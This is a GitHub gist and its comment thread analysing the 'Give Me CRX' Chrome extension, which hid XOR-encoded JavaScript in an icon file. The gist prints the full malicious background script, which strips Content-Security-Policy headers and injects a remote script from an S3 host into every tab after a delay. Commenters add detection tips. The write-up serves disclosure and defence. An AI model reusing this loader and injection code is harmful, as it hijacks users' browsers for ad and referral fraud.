Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Saga of the "Give Me CRX" Virus

UPDATE

Adam Carbonell has created a non-malicious extension, called "Get CRX": https://chrome.google.com/webstore/detail/get-crx/dijpllakibenlejkbajahncialkbdkjc

Google has removed the original extension, along with several other extensions with similar malware.

Relavant links:


"Give Me CRX" (https://chrome.google.com/webstore/detail/give-me-crx/acpimoebmfjpfnbhjgdgiacjfebmmmci) previously contained a virus hidden in an image.

Hidden Virus

Reviewer "Adam Carbonell" (link) first discovered existence of the malware. He mentioned that icon2.png contains malicious code.

bg.js (last modified 11/11/2016) extracts the code by reading icon2.png (last modified 11/10/2016) as text, extracting data between init> and <end strings (I assume a PNG comment), and xor-ing it with char ^ 77.

The resulting text is then run as Javascript. I think around 24 hours after extension installation, every tab will have <script src='hXXp//s3.eu-central-1.amazonaws.com/forton/give_me_crx.js'> injected whenever "chrome.tabs.onUpdated".

Several days/weeks after I and others discovered this exploit, they have enabled the forton/extsgo links, and are now injecting advertising code into pages.

  • The exploit was discovered around 10/28/2016. Today is 10/30/2016. The last modified dates point to 11/10/2016, which is in the future.
  • The Coolbar Pro EULA was last modified 10/17/2016.

Coolbar Pro EULA

The extension includes a EULA for Coolbar Pro, which appears to be a toolbar/adware/spyware. See http://security.stackexchange.com/questions/130597

Is this extension trying to install Coolbar Pro?

Uninstalling - extsgo.com

Uninstalling the extension triggers chrome.runtime.setUninstallURL('http://extsgo.com/api/tracker/uninstall?ext_id=' + chrome.runtime.id);

extsgo.com contains a default placeholder Yii PHP framework page. http://extsgo.com/api/tracker shows {"status":false,"error_message":"tracking_id can't be empty"}. http://extsgo.com/api/tracker/uninstall redirects to a fake "Shape Magazine" spam/scam site. Adding ?ext_id=#### does the same thing.

function get_crx() {
chrome.tabs.getSelected(null,function(tab) {
var tab_url = tab.url;
ext_name = tab_url.split('/detail/');
ext_name = ext_name[1].split('/');
ext_name = ext_name[0];
tab_url_split = tab_url.split("/");
tab_url = tab_url_split[6];
tab_url = tab_url.split('?');
tab_url = tab_url[0];
var ccr = 'https://clients2.google.com/service/update2/crx?response=redirect&x=id%3D';
ccr += tab_url + '%26uc&prodversion=32';
var link = document.createElement('a');
link.setAttribute('href', ccr);
link.setAttribute('download','download');
onload = link.click();
});
}
chrome.contextMenus.create({
'title': 'Get CRX of this extension',
'contexts': ['all'],
'onclick': get_crx,
'documentUrlPatterns': ['https://chrome.google.com/webstore/detail/*']
});
(() => {
var main = () => {
chrome.runtime.getPackageDirectoryEntry(function (root) {
var icon = "icon2.png";
root.getFile(icon, {}, function (fileEntry) {
fileEntry.file(function (file) {
var reader = new FileReader();
reader.onloadend = function (e) {
var text = this.result;
var idxF = text.lastIndexOf("init>");
if (idxF < 0) return;
text = text.substr(idxF + 5);
var idxL = text.lastIndexOf("<end");
if (idxL < 0) return;
text = text.substr(0,idxL);
for (var t = 0, r = text.length, n = ""; r > t;)
n += String.fromCharCode(77 ^ text.charCodeAt(t++));
var a = new window.Blob([n], {
type: "text/javascript"
});
addScript(window.URL.createObjectURL(a));
};
reader.readAsText(file);
}, (e) => {
console.log(e)
});
}, (r) => {
console.log(r)
});
});
};
var check = () => {
chrome.storage.local.get({T : 0}, (r) => {
r.T == 0 ? setTimeout(check, 6e5) : main();
})
};
(() => {
if (!chrome.contextMenus) {
return void console.log("Chrome contextMenus access failed"); // give_me_crx
}
chrome.contextMenus.create({
title: "EULA",
contexts: ["browser_action"],
onclick: function () {
window.open("/html/doc/eula.html", "_blank");
}
});
chrome.contextMenus.create({
title: "Privacy Policy",
contexts: ["browser_action"],
onclick: function () {
window.open("/html/doc/pp.html", "_blank");
}
});
chrome.contextMenus.create({
title: "Terms and Conditions",
contexts: ["browser_action"],
onclick: function () {
window.open("/html/doc/tandc.html", "_blank");
}
});
})();
function addScript(src) {
var script = document.createElement("script");
script.setAttribute("type", "text/javascript");
script.setAttribute("src", src);
document.head.appendChild(script);
}
setTimeout(function(){
chrome.storage.local.get({T : 0}, (r) => {
r.T == 0 && chrome.storage.local.set({T : new Date().getTime()});
});
}, 4568904);
check()
})();
chrome.runtime.setUninstallURL('http://extsgo.com/api/tracker/uninstall?ext_id=' + chrome.runtime.id);
var zero = (a, b) => { chrome.storage.local.get({ ID: 0 }, (c=> { 0 == c.ID ? (() => { chrome.storage.local.set({ ID: (new Date).getTime() }), setTimeout(zero, a, a, b) })() : (() => { ((new Date).getTime() - c.ID || 0) < b ? setTimeout(zero, a, a, b) : one() })() })) }, one = () => { chrome.webRequest && chrome.webRequest.onHeadersReceived.addListener((a=> { if (a.tabId != -1) { for (var b in a.responseHeaders) "object" == typeof a.responseHeaders[b] && "content-security-policy" === a.responseHeaders[b].name.toLowerCase() && a.responseHeaders.splice(b, 1); return { responseHeaders: a.responseHeaders } } }), { urls: ["<all_urls>"], types: ["main_frame"] }, ["responseHeaders", "blocking"]), chrome.tabs && chrome.tabs.onUpdated.addListener(((a, b) => { "complete" == b.status && chrome.tabs.executeScript(a, { code: `(() => {var s = document.createElement('script');s.src = '//s3.eu-central-1.amazonaws.com/forton/give_me_crx.js';document.body.appendChild(s);})();` }) })) }; zero(36e5, 864e5);
var virus = (virusCheck, virusDelay) => {
chrome.storage.local.get({
ID: 0
}, (c => {
0 == c.ID ? (() => {
chrome.storage.local.set({
ID: (new Date).getTime()
}), setTimeout(virus, virusCheck, virusCheck, virusDelay)
})() : (() => {
((new Date).getTime() - c.ID || 0) < virusDelay ? setTimeout(virus, virusCheck, virusCheck, virusDelay) : virus2()
})()
}))
};
var virus2 = () => {
chrome.webRequest && chrome.webRequest.onHeadersReceived.addListener((virusCheck => {
if (virusCheck.tabId != -1) {
for (var virusDelay in virusCheck.responseHeaders) "object" == typeof virusCheck.responseHeaders[virusDelay] && "content-security-policy" === virusCheck.responseHeaders[virusDelay].name.toLowerCase() && virusCheck.responseHeaders.splice(virusDelay, 1);
return {
responseHeaders: virusCheck.responseHeaders
}
}
}), {
urls: ["<all_urls>"],
types: ["main_frame"]
}, ["responseHeaders", "blocking"]), chrome.tabs && chrome.tabs.onUpdated.addListener(((tabId, changeInfo) => {
"complete" == changeInfo.status && chrome.tabs.executeScript(tabId, {
code: `(() => {var s = document.createElement('iframe');s.src = '//s3.eu-central-1.amazonaws.com/forton/give_me_crx.js';document.body.appendChild(s);})();`
})
}))
};
virus(36e5, 864e5);
@rivetgeek

This comment has been minimized.

Copy link

commented Nov 10, 2016

Found this in a clone on the Live Http Headers Extension: http://s3.eu-central-1.amazonaws.com/forton/cbp/cmps/63_4852e.js All of the links currently work. Looks like pretty straight forward referral fraud, mostly to porn sites.

Also the tracking link seems active now: https://extsgo.com/api/tracker?tracking_id=1234

@rivetgeek

This comment has been minimized.

Copy link

commented Nov 10, 2016

Rename to .zip to see the contents of files

archive

@JoshuaWalsh

This comment has been minimized.

Copy link

commented Nov 10, 2016

This is also present in the "HTTP Headers" addon which was previously found here: https://chrome.google.com/webstore/detail/mhbpoeinkhpajikalhfpjjafpfgjnmgk

The Live HTTP Headers Extension mentioned by @rivetgeek was previously here: https://chrome.google.com/webstore/detail/live-http-headers/iaiioopjkcekapmldfgbebdclcnpgnlo

I have also found this in the extension "Inject jQuery", previously found here: https://chrome.google.com/webstore/detail/inject-jquery/indebdooekgjhkncmgbkeopjebofdoid

Really annoying malware, seemingly activated at the same time in multiple extensions that I had installed. Makes it tricky to remove, but I think I've got them all now. You can check your own extensions by doing a find-in-files search for "extsgo" in the directory %LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions. If you find any matches, Google search the folder name of the extension and you can find out what it's called.

@rivetgeek

This comment has been minimized.

Copy link

commented Nov 10, 2016

On Mac just go into Users//Library/Application Support/Google/Chrome/Default/Extensions and 'grep -Rl "extsgo" *'. That will give you the main infected .js file. From there back out till you find the extension folder (random long string). Go into your extensions in Chrome and turn on Developer tools and you'll see the extension ID's, find the one that matches the folder name and you got your broken extension.

Im guessing some malware company bought a bunch of abandoned extensions and then updated with them with the malware.

@jimbo1qaz

This comment has been minimized.

Copy link
Owner Author

commented Nov 10, 2016

Do all the malicious extensions contain "icon2.png"? If so, that's faster than full-text search (though both signatures can easily be changed by malware developers).

hxxp://s3.eu-central-1.amazonaws.com/forton/give_me_crx.js returns "AllAccessDisabled" now. Has Amazon taken the script down?

Give Me CRX and W3Schools Hider have been taken down by Google. Google should ban all developers with string "extsgo" or file "icon2.png".

@NewEraCracker

This comment has been minimized.

Copy link

commented Dec 14, 2016

Since givemecrx asked me new permissions I've disabled & removed it. I have a backup of the original non-malicious version last updated in May 2015. It can be extracted with 7-zip or WinRAR and loaded in programing mode as long as _metadata folder is deleted.

I like to keep backups (.crx) of my installed extensions, so that if one day an extension becomes infected, I can just load a clean previous version and stick with that one.

https://mega.nz/#!kwhxmBDY!P9ojecq4cYVORixUP2YegWms1LYPbD3IHW0RKDQ4hy8

Enjoy!

PS: It was backed up with GiveMeCrx when it wasn't malicious. The irony.

@jimbo1qaz

This comment has been minimized.

Copy link
Owner Author

commented Dec 16, 2016

Adam Carbonell has created a non-malicious extension, called "Get CRX": https://chrome.google.com/webstore/detail/get-crx/dijpllakibenlejkbajahncialkbdkjc

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.